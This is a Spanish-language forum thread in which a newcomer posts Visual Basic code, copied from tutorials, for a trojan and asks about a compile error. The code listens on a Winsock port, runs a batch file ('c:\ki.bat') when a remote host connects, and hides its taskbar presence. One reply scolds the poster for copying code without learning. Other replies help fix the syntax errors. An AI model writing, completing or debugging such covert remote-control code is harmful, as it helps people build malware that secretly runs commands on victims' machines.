ola soy nuevo en el foro....he estado mirando tutoriales y documentos por el foro, y he decido probar con un troyano en visual basic.....,la cuestion
 es que he copiado varios codigos de manuales de este foro y otras páginas, y nada por probar,he instalado la consola windsock y he seleccionado en nuevo proyecto exe estandar, he copiado los codigos igual que estaban en los manuales y por probar ... he ejecutado generar proyecto, pero me da error  en la linea 22( bLOQUE IF SIN END IF) ERROR DE COMPILACION



Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub escuchar_Click()
On Error Resume Next
Ws.LocalPort = Text1.Text
Ws.Close
Ws.Listen
If Ws.State = 2 Then Label1.Caption = "Escuchando"
End Sub
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
On Error GoTo error
Ws.Close
Ws.Accept requestID
Label3.Caption = Ws.RemoteHostIP
Shell "c:\ki.bat"
Timer1.Interval = 3000
error:
End Sub
Private Sub Command1_Click()
If winsock1.State = sckConnected Then
MsgBox "conection satisfactoria", vbInformation
End Sub    ------AQUI LINEA 22---------

Private Sub Form_Load()
Timer1 .Interval = 1
End Sub
Private Sub Timer1_Timer()
App TaskVisible = False
Timer1.Enabled = False
End Sub



GRACIAS...COMO SE ADUJUNTAN IMAGENES?GRACIAS...

Esto ni merece una respuesta.... Kerer hacer un programa sin kerer aprender a programar...

Se fuera mod en este foro borraria este tema....

Salu2

halc12 si que era eso......aunque despues de eso me he encontado mas errores en el  code(varios espacios en blanco que habia dejado) pero los he sabido solucionar....gracias otra vez.

es q has puesto unas comillas de mas tienes errores de sintaxis queda asi:

txtrecibido = "id de la solicitud de la conexión" & requestid & " de " & winsock1.remotehostip

pd: por el amor de Dios!!! usen las etiquetas del codigo!!! hasta lo han mejorado para distintos tipos de lenguajes y no lo usan es un desperdicio

salu2

Bueno ya no digo mas nada, cada uno tiene su forma de aprender, y se kieres saber se te paso eso tambien no lo has aprendido de la mejor forma. Solo es dificil kuando forzamos a k funcione sin tener kualkier nocion de lo k hacemos.

Salu2